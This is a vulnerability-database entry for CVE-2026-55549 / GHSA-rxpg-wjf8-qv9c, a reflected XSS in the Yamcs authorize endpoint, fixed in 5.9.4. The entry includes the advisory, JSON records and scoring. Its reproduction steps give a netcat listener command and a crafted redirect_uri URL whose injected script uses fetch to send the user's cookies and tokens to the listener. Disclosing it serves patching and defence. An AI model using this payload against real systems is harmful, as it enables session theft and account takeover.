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GHSA-RXPG-WJF8-QV9C

Vulnerability from github – Published: 2026-08-28 17:17 – Updated: 2026-08-28 17:17

Summary

Yamcs has Reflected XSS in the URL of the Authorize Endpoint

Details

Attack type:

Unauthenticated remote 

Impact:

Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.

Affected components: authorize.html, AuthHandler.java, HandlerContext.java

A Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.

Using a specially crafted URL, you are able to execute a JavaScript alert() call in the browser:

You then use JavaScript to obtain the user's cookies and display them in the alert:

Finally, use the fetch function to send the user's cookies to a remote server which we controlled:

Now you can set these cookies in our own browser and login to Yamcs as the user.

Steps to Reproduce

Start Yamcs
Login as a user
In a terminal, start a netcat listener:

nc -nlvp 8888

Paste the following URL payload in the browser

http://localhost:8090/auth/authorize?client_id=yamcs-web&state=Lw&response_mode=query&response_type=code&scope=openid&redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y"><script>fetch(`http://localhost:8888?c=${document.cookie}`)<%2Fscript>ekuou

You will receive a connection on your netcat listener containing the user's access token and refresh token.

Acknowledgements

This vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Show details on source website

JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.9.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55549"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T17:17:50Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Attack type:\u202f\nUnauthenticated remote\u202f \n\n### Impact: \nAttackers can execute arbitrary JavaScript in a user\u0027s browser, including obtaining a user\u0027s session token and refresh token.\n\n### Affected components: authorize.html, AuthHandler.java, HandlerContext.java\n\nA Reflected Cross-Site Scripting vulnerability exists in Yamcs \u003c=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user\u0027s browser. This vulnerability can be exploited to exfiltrate a logged-in user\u0027s access token and send it to a remote server, leading to the takeover of the user\u0027s account.\n\nUsing a specially crafted URL, you are able to execute a JavaScript `alert()` call in the browser:\n\n\u003cimg width=\"1794\" height=\"816\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4a5b6aa4-bceb-4b3d-bc5d-3dac0895ff2e\" /\u003e\n\nYou then use JavaScript to obtain the user\u0027s cookies and display them in the alert:\n\n\u003cimg width=\"1794\" height=\"1290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6c6d2837-db77-409a-a66d-0d2e4edd5435\" /\u003e\n\nFinally, use the `fetch` function to send the user\u0027s cookies to a remote server which we controlled:\n\n\u003cimg width=\"2370\" height=\"1025\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2989fc79-6ca0-4256-afc4-71d44d9923b8\" /\u003e\n\nNow you can set these cookies in our own browser and login to Yamcs as the user.\n\n## Steps to Reproduce\n1. Start Yamcs\n2. Login as a user\n3. In a terminal, start a netcat listener:\n\n```\nnc -nlvp 8888\n```\n\n4. Paste the following URL payload in the browser\n\n```\nhttp://localhost:8090/auth/authorize?client_id=yamcs-web\u0026state=Lw\u0026response_mode=query\u0026response_type=code\u0026scope=openid\u0026redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y\"\u003e\u003cscript\u003efetch(`http://localhost:8888?c=${document.cookie}`)\u003c%2Fscript\u003eekuou\n```\n\n5. You will receive a connection on your netcat listener containing the user\u0027s access token and refresh token.\n\n## Acknowledgements\nThis vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.",
  "id": "GHSA-rxpg-wjf8-qv9c",
  "modified": "2026-08-28T17:17:50Z",
  "published": "2026-08-28T17:17:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-rxpg-wjf8-qv9c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/commit/4d47d5cdcf5d92c2c5bbbc19feada422923332e3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yamcs/yamcs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.9.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Yamcs has Reflected XSS in the URL of the Authorize Endpoint"
}

CVE-2026-55549 (GCVE-0-2026-55549)

Vulnerability from cvelistv5 – Published: 2026-08-28 17:15 – Updated: 2026-09-01 01:49

Title

Yamcs: Reflected XSS in the URL of the Authorize Endpoint

Summary

Yamcs is a mission control framework. Prior to 5.9.4, Yamcs reflects an attacker-controlled redirect_uri parameter from GET /auth/authorize into yamcs-core/src/main/resources/auth/templates/authorize.html without adequate HTML escaping by yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java and yamcs-core/src/main/java/org/yamcs/http/HandlerContext.java. A crafted authorization URL can execute JavaScript when opened by a Yamcs user. The script can access browser-held authentication material and transmit it to an attacker, enabling account compromise. This issue is fixed in version 5.9.4.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-01 01:48 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/yamcs/yamcs/security/advisorie…	x_refsource_CONFIRM
https://github.com/yamcs/yamcs/commit/4d47d5cdcf5…	x_refsource_MISC
https://github.com/yamcs/yamcs/releases/tag/yamcs-5.9.4	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
yamcs	yamcs	Affected: < 5.9.4

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55549",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-01T01:48:54.496048Z",
                "version": "2.0.3"
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              "type": "ssvc"
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          "dateUpdated": "2026-09-01T01:49:34.239Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-rxpg-wjf8-qv9c"
          }
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        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "yamcs",
          "vendor": "yamcs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.9.4"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Yamcs is a mission control framework. Prior to 5.9.4, Yamcs reflects an attacker-controlled redirect_uri parameter from GET /auth/authorize into yamcs-core/src/main/resources/auth/templates/authorize.html without adequate HTML escaping by yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java and yamcs-core/src/main/java/org/yamcs/http/HandlerContext.java. A crafted authorization URL can execute JavaScript when opened by a Yamcs user. The script can access browser-held authentication material and transmit it to an attacker, enabling account compromise. This issue is fixed in version 5.9.4."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-28T17:15:52.840Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/yamcs/yamcs/security/advisories/GHSA-rxpg-wjf8-qv9c",
          "tags": [
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          "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-rxpg-wjf8-qv9c"
        },
        {
          "name": "https://github.com/yamcs/yamcs/commit/4d47d5cdcf5d92c2c5bbbc19feada422923332e3",
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          "url": "https://github.com/yamcs/yamcs/commit/4d47d5cdcf5d92c2c5bbbc19feada422923332e3"
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  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
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    "datePublished": "2026-08-28T17:15:52.840Z",
    "dateReserved": "2026-06-16T23:01:04.075Z",
    "dateUpdated": "2026-09-01T01:49:34.239Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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